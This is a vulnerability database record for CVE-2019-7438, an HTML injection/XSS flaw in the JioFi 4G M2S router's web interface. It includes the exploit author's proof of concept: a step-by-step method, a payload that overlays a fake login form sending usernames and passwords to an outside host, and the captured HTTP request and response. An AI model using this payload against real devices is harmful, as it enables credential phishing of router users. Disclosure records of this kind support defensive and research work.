VAR-201903-0478
Vulnerability from variot - Updated: 2023-12-18 13:02cgi-bin/qcmap_web_cgi on JioFi 4G M2S 1.0.2 devices has XSS and HTML injection via the mask POST parameter. JioFi 4G M2S The device contains a cross-site scripting vulnerability.The information may be obtained and the information may be falsified. There is a security vulnerability in the cgi-bin/qcmap_web_cgi URL in JioFi 4G M2S version 1.0.2.
Exploit Author: Vikas Chaudhary
Date: 21-01-2019
Vendor Homepage: https://www.jio.com/
Hardware Link: https://www.amazon.in/JioFi-Hotspot-M2S-Portable-Device/dp/B075P7BLV5/ref=sr_1_1?s=computers&ie=UTF8&qid=1531032476&sr=1-1&keywords=JioFi+M2S+Wireless+Data+Card++%28Black%29
Version: JioFi 4G Hotspot M2S 150 Mbps Wireless Router
Category: Hardware
Contact: https://www.facebook.com/profile.php?id=100011287630308
Web: https://gkaim.com/
Tested on: Windows 10 X64- Firefox-65.0
CVE-2019-7438
Vulnerability Description => HTML injection is an attack that is similar to Cross-site Scripting (XSS). While in the XSS vulnerability the attacker can inject and execute Javascript code, the HTML injection attack only allows the injection of certain HTML tags. When an application does not properly handle user supplied data, an attacker can supply valid HTML code, typically via a parameter value, and inject their own content into the page. This attack is typically used in conjunction with some form of social engineering, as the attack is exploiting a code-based vulnerability and a user's trust.
Proof Of ConceptoC
1- First Open BurpSuite 2- Make Intercept on 3 -Go to your Wifi Router's Gateway in Browser [i.e http://192.168.225.1 ] 4-Capture the data and then Spider the Host 5- Now You find a Link like like this [ http://192.168.225.1/cgi-bin/qcmap_web_cgi ] 6- Send it to repeter Now you will find parameter like this [ Page=GetWANInfo&mask=0&token=0 ] 7-Vulnerable parameter is => mash 8-Paste this PAYLOAD in mask parameter and then show Response in browser Payload =>
Please login with valid credentials:- It's A Fake Login Page
| Username: | |
| Password: | |
9- You will see a fake Login page on the screen -
Vulnerable URL => Post Based => http://192.168.225.1/cgi-bin/qcmap_web_cgi => mask parameter -
REQUEST
POST /cgi-bin/qcmap_web_cgi HTTP/1.1 Host: 192.168.225.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: text/plain, /; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.225.1/ Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 550 Connection: close
Page=GetWANInfo&mask=
Please login with valid credentials:- It's A Fake Login Page
| Username: | |
| Password: | |
RESPONSE
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 X-Frame-Options: SAMEORIGIN connection: close Content-Type: text/html Content-Length: 1167 Date: Mon, 21 Jan 2019 18:02:07 GMT Server: lighttpd/1.4.35
{"Page":"GetWANInfo","Mask":"
Please login with valid credentials:- It's A Fake Login Page
| Username: | |
| Password: | |
Show details on source website
{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201903-0478",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "jiofi 4g m2s",
"scope": "eq",
"trust": 1.0,
"vendor": "jio",
"version": "1.0.2"
},
{
"model": "jiofi m2s",
"scope": "eq",
"trust": 0.8,
"vendor": "reliance jio infocomm",
"version": "1.0.2"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2019-003215"
},
{
"db": "NVD",
"id": "CVE-2019-7438"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:jio:jiofi_4g_m2s_firmware:1.0.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:jio:jiofi_4g_m2s:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
}
]
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2019-7438"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Vikas Chaudhary",
"sources": [
{
"db": "PACKETSTORM",
"id": "152625"
},
{
"db": "CNNVD",
"id": "CNNVD-201903-795"
}
],
"trust": 0.7
},
"cve": "CVE-2019-7438",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"acInsufInfo": false,
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "NVD",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"integrityImpact": "PARTIAL",
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "MEDIUM",
"trust": 1.0,
"userInteractionRequired": true,
"vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "Medium",
"accessVector": "Network",
"authentication": "None",
"author": "NVD",
"availabilityImpact": "None",
"baseScore": 4.3,
"confidentialityImpact": "None",
"exploitabilityScore": null,
"id": "CVE-2019-7438",
"impactScore": null,
"integrityImpact": "Partial",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "Medium",
"trust": 0.8,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"exploitabilityScore": 8.6,
"id": "VHN-158873",
"impactScore": 2.9,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:M/AU:N/C:N/I:P/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "NVD",
"availabilityImpact": "NONE",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"exploitabilityScore": 2.8,
"impactScore": 2.7,
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"trust": 1.0,
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.0"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "None",
"baseScore": 6.1,
"baseSeverity": "Medium",
"confidentialityImpact": "Low",
"exploitabilityScore": null,
"id": "CVE-2019-7438",
"impactScore": null,
"integrityImpact": "Low",
"privilegesRequired": "None",
"scope": "Changed",
"trust": 0.8,
"userInteraction": "Required",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.0"
}
],
"severity": [
{
"author": "NVD",
"id": "CVE-2019-7438",
"trust": 1.8,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201903-795",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "VULHUB",
"id": "VHN-158873",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-158873"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-003215"
},
{
"db": "NVD",
"id": "CVE-2019-7438"
},
{
"db": "CNNVD",
"id": "CNNVD-201903-795"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "cgi-bin/qcmap_web_cgi on JioFi 4G M2S 1.0.2 devices has XSS and HTML injection via the mask POST parameter. JioFi 4G M2S The device contains a cross-site scripting vulnerability.The information may be obtained and the information may be falsified. There is a security vulnerability in the cgi-bin/qcmap_web_cgi URL in JioFi 4G M2S version 1.0.2. \n# Exploit Author: Vikas Chaudhary\n# Date: 21-01-2019\n# Vendor Homepage: https://www.jio.com/\n# Hardware Link: https://www.amazon.in/JioFi-Hotspot-M2S-Portable-Device/dp/B075P7BLV5/ref=sr_1_1?s=computers\u0026ie=UTF8\u0026qid=1531032476\u0026sr=1-1\u0026keywords=JioFi+M2S+Wireless+Data+Card++%28Black%29\n# Version: JioFi 4G Hotspot M2S 150 Mbps Wireless Router\n# Category: Hardware\n# Contact: https://www.facebook.com/profile.php?id=100011287630308\n# Web: https://gkaim.com/\n# Tested on: Windows 10 X64- Firefox-65.0\n# CVE-2019-7438\n***********************************************************************\n## Vulnerability Description =\u003e HTML injection is an attack that is similar to Cross-site Scripting (XSS). While in the XSS vulnerability the attacker can inject and execute Javascript code, the HTML injection attack only allows the injection of certain HTML tags. When an application does not properly handle user supplied data, an attacker can supply valid HTML code, typically via a parameter value, and inject their own content into the page. This attack is typically used in conjunction with some form of social engineering, as the attack is exploiting a code-based vulnerability and a user\u0027s trust. \n----------------------------------------\n# Proof Of ConceptoC\n1- First Open BurpSuite\n2- Make Intercept on \n3 -Go to your Wifi Router\u0027s Gateway in Browser [i.e http://192.168.225.1 ]\n4-Capture the data and then Spider the Host\n5- Now You find a Link like like this [ http://192.168.225.1/cgi-bin/qcmap_web_cgi ]\n6- Send it to repeter Now you will find parameter like this [ Page=GetWANInfo\u0026mask=0\u0026token=0 ]\n7-Vulnerable parameter is =\u003e mash \n8-Paste this PAYLOAD in mask parameter and then show Response in browser \nPayload =\u003e \n\n\u003cdiv style=\"position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:red; padding: 1em;\"\u003e\u003ch1\u003e\u003cfont color=\"white\"\u003ePlease login with valid credentials:- It\u0027s A Fake Login Page\u003cbr\u003e\u003cform name=\"login\" action=\"http://anysite.com/\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd\u003eUsername:\u003c/td\u003e\u003ctd\u003e\u003cinput type=\"text\" name=\"username\"/\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePassword:\u003c/td\u003e\u003ctd\u003e\u003cinput type=\"text\" name=\"password\"/\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd colspan=2 align=center\u003e\u003cinput type=\"submit\" value=\"Login\"/\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/form\u003e\u003c/div\u003e\n\n9- You will see a fake Login page on the screen -\n----------------------------------------------------------------------------------\nVulnerable URL =\u003e Post Based =\u003e http://192.168.225.1/cgi-bin/qcmap_web_cgi =\u003e mask parameter -\n----------------------------------------------------------------------------------\nREQUEST \n-------------------\nPOST /cgi-bin/qcmap_web_cgi HTTP/1.1\nHost: 192.168.225.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0\nAccept: text/plain, */*; q=0.01\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: http://192.168.225.1/\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nContent-Length: 550\nConnection: close\n\nPage=GetWANInfo\u0026mask=\u003cdiv style=\"position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:red; padding: 1em;\"\u003e\u003ch1\u003e\u003cfont color=\"white\"\u003ePlease login with valid credentials:- It\u0027s A Fake Login Page\u003cbr\u003e\u003cform name=\"login\" action=\"http://anysite.com/\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd\u003eUsername:\u003c/td\u003e\u003ctd\u003e\u003cinput type=\"text\" name=\"username\"/\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePassword:\u003c/td\u003e\u003ctd\u003e\u003cinput type=\"text\" name=\"password\"/\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd colspan=2 align=center\u003e\u003cinput type=\"submit\" value=\"Login\"/\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/form\u003e\u003c/div\u003e\u0026token=0\n\n****************************\nRESPONSE\n-----------------\n\nHTTP/1.1 200 OK\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\nX-Frame-Options: SAMEORIGIN\nconnection: close\nContent-Type: text/html\nContent-Length: 1167\nDate: Mon, 21 Jan 2019 18:02:07 GMT\nServer: lighttpd/1.4.35\n\n{\"Page\":\"GetWANInfo\",\"Mask\":\"\u003cdiv style=\"position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:red; padding: 1em;\"\u003e\u003ch1\u003e\u003cfont color=\"white\"\u003ePlease login with valid credentials:- It\u0027s A Fake Login Page\u003cbr\u003e\u003cform name=\"login\" action=\"http://anysite.com/\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd\u003eUsername:\u003c/td\u003e\u003ctd\u003e\u003cinput type=\"text\" name=\"username\"/\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePassword:\u003c/td\u003e\u003ctd\u003e\u003cinput type=\"text\" name=\"password\"/\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd colspan=2 align=center\u003e\u003cinput type=\"submit\" value=\"Login\"/\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/form\u003e\u003c/div\u003e\",\"wan_status\":\"On\",\"total_data_used\":\"10005648\",\"wan_operation_mode\":\"NAT\",\"wan_connection_mode\":\"DHCP\",\"wan_mac\":\"40:C8:CB:07:2C:8A\",\"host_name\":\"JMR1140-072C8A\",\"multi_pdn\":\"Disabled\",\"ipv4_addr\":\"10.153.220.101\",\"ipv4_subnet\":\"255.255.255.252\",\"ipv4_gateway\":\"10.153.220.102\",\"ipv4_primary\":\"49.45.0.1\",\"ipv4_secondary\":\"0.0.0.0\",\"ipv6_addr\":\"2409:4060:218e:b511:89ec:3214:def1:f75b\",\"ipv6_subnet\":\"64\",\"ipv6_gateway\":\"fe80::c9b3:928a:5eca:7e1c\",\"ipv6_primary\":\"2405:200:800::1\",\"ipv6_secondary\":\"::\",\"channel\":\"automatic\",\"packet_loss\":\"0 / 0\",\"total_data_used_dlink\":\"5.11 MB\",\"total_data_used_ulink\":\"4.37 MB\"}\n\n---------------------------------------------------------------------------------------------------------------\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2019-7438"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-003215"
},
{
"db": "VULHUB",
"id": "VHN-158873"
},
{
"db": "PACKETSTORM",
"id": "152625"
}
],
"trust": 1.8
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-158873",
"trust": 0.1,
"type": "unknown"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-158873"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "PACKETSTORM",
"id": "152625",
"trust": 2.6
},
{
"db": "NVD",
"id": "CVE-2019-7438",
"trust": 2.6
},
{
"db": "EXPLOIT-DB",
"id": "46751",
"trust": 1.7
},
{
"db": "JVNDB",
"id": "JVNDB-2019-003215",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201903-795",
"trust": 0.7
},
{
"db": "VULHUB",
"id": "VHN-158873",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-158873"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-003215"
},
{
"db": "PACKETSTORM",
"id": "152625"
},
{
"db": "NVD",
"id": "CVE-2019-7438"
},
{
"db": "CNNVD",
"id": "CNNVD-201903-795"
}
]
},
"id": "VAR-201903-0478",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-158873"
}
],
"trust": 0.01
},
"last_update_date": "2023-12-18T13:02:20.380000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "JioFi M2",
"trust": 0.8,
"url": "https://www.jio.com/shop/en-in/jiofi-m2/p/491193575"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2019-003215"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-79",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-158873"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-003215"
},
{
"db": "NVD",
"id": "CVE-2019-7438"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.1,
"url": "http://packetstormsecurity.com/files/152625/jiofi-4g-m2s-1.0.2-cross-site-scripting.html"
},
{
"trust": 1.7,
"url": "https://www.exploit-db.com/exploits/46751/"
},
{
"trust": 1.7,
"url": "https://gkaim.com/cve-2019-7438-html-vikas-chaudhary/"
},
{
"trust": 1.7,
"url": "https://gkaim.com/cve-2019-7438-xss-vikas-chaudhary/"
},
{
"trust": 1.5,
"url": "https://nvd.nist.gov/vuln/detail/cve-2019-7438"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2019-7438"
},
{
"trust": 0.6,
"url": "https://www.exploit-db.com/exploits/46751"
},
{
"trust": 0.1,
"url": "https://gkaim.com/"
},
{
"trust": 0.1,
"url": "http://anysite.com/\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd\u003eusername:\u003c/td\u003e\u003ctd\u003e\u003cinput"
},
{
"trust": 0.1,
"url": "http://192.168.225.1/"
},
{
"trust": 0.1,
"url": "https://www.facebook.com/profile.php?id=100011287630308"
},
{
"trust": 0.1,
"url": "http://192.168.225.1/cgi-bin/qcmap_web_cgi"
},
{
"trust": 0.1,
"url": "https://www.jio.com/"
},
{
"trust": 0.1,
"url": "http://192.168.225.1"
},
{
"trust": 0.1,
"url": "https://www.amazon.in/jiofi-hotspot-m2s-portable-device/dp/b075p7blv5/ref=sr_1_1?s=computers\u0026ie=utf8\u0026qid=1531032476\u0026sr=1-1\u0026keywords=jiofi+m2s+wireless+data+card++%28black%29"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-158873"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-003215"
},
{
"db": "PACKETSTORM",
"id": "152625"
},
{
"db": "NVD",
"id": "CVE-2019-7438"
},
{
"db": "CNNVD",
"id": "CNNVD-201903-795"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-158873"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-003215"
},
{
"db": "PACKETSTORM",
"id": "152625"
},
{
"db": "NVD",
"id": "CVE-2019-7438"
},
{
"db": "CNNVD",
"id": "CNNVD-201903-795"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-03-21T00:00:00",
"db": "VULHUB",
"id": "VHN-158873"
},
{
"date": "2019-05-13T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2019-003215"
},
{
"date": "2019-04-25T15:58:13",
"db": "PACKETSTORM",
"id": "152625"
},
{
"date": "2019-03-21T16:01:13.797000",
"db": "NVD",
"id": "CVE-2019-7438"
},
{
"date": "2019-03-21T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201903-795"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-04-26T00:00:00",
"db": "VULHUB",
"id": "VHN-158873"
},
{
"date": "2019-05-13T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2019-003215"
},
{
"date": "2019-04-26T14:24:29.310000",
"db": "NVD",
"id": "CVE-2019-7438"
},
{
"date": "2019-04-26T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201903-795"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201903-795"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "JioFi 4G M2S Cross-site scripting vulnerability in devices",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2019-003215"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "xss",
"sources": [
{
"db": "PACKETSTORM",
"id": "152625"
},
{
"db": "CNNVD",
"id": "CNNVD-201903-795"
}
],
"trust": 0.7
}
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…